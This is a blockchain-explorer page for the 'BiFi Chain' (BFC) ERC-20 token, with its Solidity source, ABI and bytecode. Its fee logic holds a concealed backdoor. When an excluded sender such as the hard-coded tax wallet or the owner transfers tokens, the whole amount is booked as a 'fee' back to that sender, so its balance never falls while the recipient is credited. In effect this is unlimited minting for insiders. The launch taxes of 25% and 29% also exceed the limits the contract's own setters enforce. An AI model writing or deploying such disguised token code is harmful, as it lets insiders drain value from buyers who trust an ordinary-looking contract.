ERC-20
Overview
Max Total Supply
1,000,000,000 BFC
Holders
62
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,001,420.674887948 BFCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BFC
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-16 */ // SPDX-License-Identifier: Unlicensed /** The ultimate cross-chain DeFi platform Supply, borrow, and earn efficiently with BiFi Website: https://www.bifichain.org Telegram: https://t.me/bifi_erc Twitter: https://twitter.com/bifi_erc Dapp: https://app.bifichain.org */ pragma solidity 0.8.21; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BFC is Context, IERC20, Ownable { using SafeMath for uint256; string private _name ="BiFi Chain"; string private _symbol = "BFC"; uint8 private _decimals = 9; uint256 public _buyLiquidityFees = 0; uint256 public _buyMarketingFees = 25; uint256 public _buyDevelopmentFees = 0; uint256 public _sellLiquidityFees = 0; uint256 public _sellMarketingFees = 29; uint256 public _sellDevelopmentFees = 0; uint256 public _liquidityShares = 0; uint256 public _marketingShares = 10; uint256 public _developmentShares = 0; uint256 public _totalTaxIfBuying = 25; uint256 public _totalTaxIfSelling = 29; uint256 public _totalDistributionShares = 10; uint256 private _totalSupply = 1000_000_000 * 10**9; uint256 public _maxTxAmount = _totalSupply; uint256 public _walletMax = _totalSupply*15/1000; uint256 private minimumTokensBeforeSwap = _totalSupply/10000; address payable private taxWallet; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public checkExcludedFromFees; mapping (address => bool) public checkWalletLimitExcept; mapping (address => bool) public checkTxLimitExcept; mapping (address => bool) public checkMarketPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); taxWallet = payable(0xD2FcE6814f0bc6303d49e8e1840dddF02BD3FFb7); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; checkExcludedFromFees[owner()] = true; checkExcludedFromFees[taxWallet] = true; checkWalletLimitExcept[owner()] = true; checkWalletLimitExcept[taxWallet] = true; checkWalletLimitExcept[address(uniswapPair)] = true; checkWalletLimitExcept[address(this)] = true; checkTxLimitExcept[owner()] = true; checkTxLimitExcept[taxWallet] = true; checkTxLimitExcept[address(this)] = true; checkMarketPair[address(uniswapPair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function addMarketPair(address account) public onlyOwner { checkMarketPair[account] = true; } function setcheckTxLimitExcept(address holder, bool exempt) external onlyOwner { checkTxLimitExcept[holder] = exempt; } function setcheckExcludedFromFees(address account, bool newValue) public onlyOwner { checkExcludedFromFees[account] = newValue; } function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() { _buyLiquidityFees = newLiquidityTax; _buyMarketingFees = newMarketingTax; _buyDevelopmentFees = newDevelopmentTax; _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees).add(_buyDevelopmentFees); require (_totalTaxIfBuying <= 10); } function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() { _sellLiquidityFees = newLiquidityTax; _sellMarketingFees = newMarketingTax; _sellDevelopmentFees = newDevelopmentTax; _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees).add(_sellDevelopmentFees); require (_totalTaxIfSelling <= 20); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newDevelopmentShare) external onlyOwner() { _liquidityShares = newLiquidityShare; _marketingShares = newMarketingShare; _developmentShares = newDevelopmentShare; _totalDistributionShares = _liquidityShares.add(_marketingShares).add(_developmentShares); } function adjustMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= _totalSupply/100, "Max wallet should be more or equal to 1%"); _maxTxAmount = maxTxAmount; } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setcheckWalletLimitExcept(address holder, bool exempt) external onlyOwner { checkWalletLimitExcept[holder] = exempt; } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function settaxWallet(address newAddress) external onlyOwner() { taxWallet = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { swapTokensForEth(tAmount); uint256 amountETHMarketing = address(this).balance; transferToAddressETH(taxWallet, amountETHMarketing); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) { uint256 feeAmount = amount; if (checkExcludedFromFees[sender] && swapAndLiquifyEnabled) return (amount, feeAmount); if(checkMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(checkMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if (checkExcludedFromFees[sender]) { return (amount, 0); } return (amount.sub(feeAmount), feeAmount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !checkExcludedFromFees[sender] && checkMarketPair[recipient] && swapAndLiquifyEnabled && amount > minimumTokensBeforeSwap) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } (uint256 finalAmount, uint256 feeAmount) = takeFee(sender, recipient, amount); address feeReceiver = feeAmount == amount ? sender : address(this); if(feeAmount > 0) { _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount); emit Transfer(sender, feeReceiver, feeAmount); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(checkWalletLimit && !checkWalletLimitExcept[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"adjustMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkTxLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkWalletLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setcheckExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckTxLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckWalletLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"settaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600a60a0908152692134a3349021b430b4b760b11b60c0526002906200002b9082620005a8565b506040805180820190915260038082526242464360e81b602083015290620000549082620005a8565b50600960045f6101000a81548160ff021916908360ff1602179055505f60055560196006555f6007555f600855601d6009555f600a555f600b55600a600c555f600d556019600e55601d600f55600a601055670de0b6b3a76400006011556011546012556103e8601154600f620000cc919062000670565b620000d891906200069a565b601355612710601154620000ed91906200069a565b60145561dead608052601d805462ffffff60a81b1916600160b81b17905534801562000117575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601580546001600160a01b03191673d2fce6814f0bc6303d49e8e1840dddf02bd3ffb71790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001d0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f69190620006ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000242573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002689190620006ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d99190620006ba565b601d80546001600160a01b039283166001600160a01b031991821617909155601c80549284169290911682179055601154305f908152601760209081526040808320948352939052918220556001906018906200033d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601554909116815260189092528120805490921660019081179092556019906200039b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601554821681526019909352818320805485166001908117909155601d549091168352818320805485168217905530835290822080549093168117909255601a906200041b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560155482168152601a84528281208054861660019081179091553082528382208054871682179055601d549092168152601b90935290822080549093161790915560115490601690620004983390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601154604051620004f991815260200190565b60405180910390a350620006e9565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200053157607f821691505b6020821081036200055057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005a3575f81815260208120601f850160051c810160208610156200057e5750805b601f850160051c820191505b818110156200059f578281556001016200058a565b5050505b505050565b81516001600160401b03811115620005c457620005c462000508565b620005dc81620005d584546200051c565b8462000556565b602080601f83116001811462000612575f8415620005fa5750858301515b5f19600386901b1c1916600185901b1785556200059f565b5f85815260208120601f198616915b82811015620006425788860151825594840194600190910190840162000621565b50858210156200066057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200069457634e487b7160e01b5f52601160045260245ffd5b92915050565b5f82620006b557634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006cb575f80fd5b81516001600160a01b0381168114620006e2575f80fd5b9392505050565b608051611f8b620007095f395f818161045d0152610bc50152611f8b5ff3fe6080604052600436106102f6575f3560e01c80637d1db4a511610189578063c2d4640e116100d8578063dd62ed3e11610092578063f1d5f5171161006d578063f1d5f517146108d4578063f2fde38b146108f3578063f872858a14610912578063fabf706314610932575f80fd5b8063dd62ed3e1461085c578063e207a92b146108a0578063f0cd1dac146108bf575f80fd5b8063c2d4640e1461079c578063c49b9a80146107bb578063c78a789b146107da578063c816841b14610808578063d76e26a314610827578063da00097d1461083c575f80fd5b806395d89b4111610143578063a457c2d71161011e578063a457c2d71461072a578063a5d69d1f14610749578063a9059cbb14610768578063b6c3af3414610787575f80fd5b806395d89b41146106ec5780639e3fa32314610700578063a08e671f14610715575f80fd5b80637d1db4a51461065e578063807c2d9c1461067357806382eefb43146106885780638da5cb5b1461069d5780638f03aad5146106b9578063914eb66a146106d8575f80fd5b80632f0a5fd411610245578063565cec38116101ff578063661b6e36116101da578063661b6e36146105e1578063667b511c146105f6578063705f9d741461061557806370a082311461062a575f80fd5b8063565cec381461059857806357e6adcb146105ad578063646d4700146105cc575f80fd5b80632f0a5fd4146104c7578063313ce567146104dc57806339509351146104fd5780634a74bb021461051c578063526012e81461053c57806355324fa91461056a575f80fd5b806323b872dd116102b057806327c8f8351161028b57806327c8f8351461044c5780632b112e491461047f5780632cdae5cb146104935780632df67109146104b2575f80fd5b806323b872dd146103ef57806325519cf21461040e5780632563ae831461042d575f80fd5b806304b8d3291461030157806306fdde0314610322578063095ea7b31461034c5780631694505e1461037b57806318160ddd146103b25780631d865c30146103d0575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b5061032061031b366004611be8565b610960565b005b34801561032d575f80fd5b506103366109b4565b6040516103439190611c03565b60405180910390f35b348015610357575f80fd5b5061036b610366366004611c4e565b610a44565b6040519015158152602001610343565b348015610386575f80fd5b50601c5461039a906001600160a01b031681565b6040516001600160a01b039091168152602001610343565b3480156103bd575f80fd5b506011545b604051908152602001610343565b3480156103db575f80fd5b506103206103ea366004611c78565b610a5a565b3480156103fa575f80fd5b5061036b610409366004611ca1565b610abc565b348015610419575f80fd5b50610320610428366004611c78565b610b25565b348015610438575f80fd5b50610320610447366004611cf3565b610b7c565b348015610457575f80fd5b5061039a7f000000000000000000000000000000000000000000000000000000000000000081565b34801561048a575f80fd5b506103c2610bc3565b34801561049e575f80fd5b506103206104ad366004611d0c565b610c0c565b3480156104bd575f80fd5b506103c260065481565b3480156104d2575f80fd5b506103c260085481565b3480156104e7575f80fd5b5060045460405160ff9091168152602001610343565b348015610508575f80fd5b5061036b610517366004611c4e565b610c5f565b348015610527575f80fd5b50601d5461036b90600160a81b900460ff1681565b348015610547575f80fd5b5061036b610556366004611be8565b60196020525f908152604090205460ff1681565b348015610575575f80fd5b5061036b610584366004611be8565b601b6020525f908152604090205460ff1681565b3480156105a3575f80fd5b506103c2600c5481565b3480156105b8575f80fd5b506103206105c7366004611d0c565b610c94565b3480156105d7575f80fd5b506103c2600a5481565b3480156105ec575f80fd5b506103c260095481565b348015610601575f80fd5b50610320610610366004611d0c565b610ce7565b348015610620575f80fd5b506103c260075481565b348015610635575f80fd5b506103c2610644366004611be8565b6001600160a01b03165f9081526016602052604090205490565b348015610669575f80fd5b506103c260125481565b34801561067e575f80fd5b506103c260135481565b348015610693575f80fd5b506103c2600f5481565b3480156106a8575f80fd5b505f546001600160a01b031661039a565b3480156106c4575f80fd5b506103206106d3366004611d3f565b610d3a565b3480156106e3575f80fd5b50610320610dd7565b3480156106f7575f80fd5b50610336610e48565b34801561070b575f80fd5b506103c2600b5481565b348015610720575f80fd5b506103c260105481565b348015610735575f80fd5b5061036b610744366004611c4e565b610e57565b348015610754575f80fd5b50610320610763366004611cf3565b610ea4565b348015610773575f80fd5b5061036b610782366004611c4e565b610eeb565b348015610792575f80fd5b506103c260055481565b3480156107a7575f80fd5b506103206107b6366004611c78565b610ef7565b3480156107c6575f80fd5b506103206107d5366004611cf3565b610f45565b3480156107e5575f80fd5b5061036b6107f4366004611be8565b601a6020525f908152604090205460ff1681565b348015610813575f80fd5b50601d5461039a906001600160a01b031681565b348015610832575f80fd5b506103c2600d5481565b348015610847575f80fd5b50601d5461036b90600160b01b900460ff1681565b348015610867575f80fd5b506103c2610876366004611d56565b6001600160a01b039182165f90815260176020908152604080832093909416825291909152205490565b3480156108ab575f80fd5b506103206108ba366004611be8565b610f8c565b3480156108ca575f80fd5b506103c2600e5481565b3480156108df575f80fd5b506103206108ee366004611d3f565b610fd8565b3480156108fe575f80fd5b5061032061090d366004611be8565b611006565b34801561091d575f80fd5b50601d5461036b90600160b81b900460ff1681565b34801561093d575f80fd5b5061036b61094c366004611be8565b60186020525f908152604090205460ff1681565b5f546001600160a01b031633146109925760405162461bcd60e51b